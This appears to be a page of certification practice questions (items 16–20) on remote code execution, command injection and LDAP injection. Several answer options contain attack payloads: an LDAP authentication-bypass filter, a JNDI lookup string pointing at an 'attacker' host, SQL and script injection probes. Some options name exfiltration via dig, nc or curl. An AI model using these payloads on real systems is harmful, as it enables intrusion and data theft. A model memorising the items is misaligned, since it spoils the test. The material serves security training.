Remote Code Execution (RCE) WAHS Practice Questions (Page 4)

Questions 16–20

1. 16foundation · easy

   What is a common manual technique to confirm a command injection vulnerability?

   • AUploading a file and then accessing it.
   • BSending a malformed HTTP request to crash the server.
   • CInjecting a single quote and checking for a database error.
   • DInjecting a command that outputs a unique string, such as `echo unique_string`, and checking if that string appears in the response.
   Reveal Solution Discussion Select an answer first
2. 17application · medium

   A web application uses an LDAP query to authenticate users: `(&(uid=<input>)(userPassword=<password>))`. The application does not sanitize the username. Which LDAP injection payload could bypass authentication and potentially allow further attacks?

   • A`admin' OR '1'='1`
   • B`${jndi:ldap://attacker/a}`
   • C`<script>alert(1)</script>`
   • D`*)(uid=*))(|(uid=*`
   Reveal Solution Discussion Select an answer first
4. 18expert · hard

   A web application has a command injection vulnerability in a diagnostic tool. The application runs on a Linux server with a restrictive firewall that only allows outbound HTTP/HTTPS. The tester needs to exfiltrate the output of a command. Which technique is most effective given the firewall restrictions?

   • AUse `dig` to send the output as a DNS query.
   • BUse `nc` to send the output to an attacker-controlled port.
   • CUse `ping` with a custom payload to encode the output.
   • DUse `curl` to send the output to an attacker-controlled HTTP server.
   Reveal Solution Discussion Select an answer first
5. 19expert · hard

   A web application uses LDAP to authenticate users. The application constructs an LDAP search filter by concatenating user input. An attacker injects `*)(uid=*))(|(uid=*` into the username field. Which of the following is the most likely impact?

   • AThe attacker can read arbitrary files from the web server.
   • BThe attacker can execute OS commands on the LDAP server.
   • CThe attacker can bypass authentication and log in as the first user in the directory.
   • DThe attacker can cause a denial of service by crashing the LDAP server.
   Reveal Solution Discussion Select an answer first
6. 20foundation · easy

   Which of the following is an example of using LDAP injection to achieve remote code execution?

   • AInjecting LDAP metacharacters to modify the filter and access sensitive data, which may indirectly aid an attack but does not directly execute code.
   • BUsing LDAP injection to crash the LDAP server.
   • CUsing LDAP injection to execute system commands through the LDAP server.
   • DUsing LDAP injection to write a file to the server's filesystem.
   Reveal Solution Discussion Select an answer first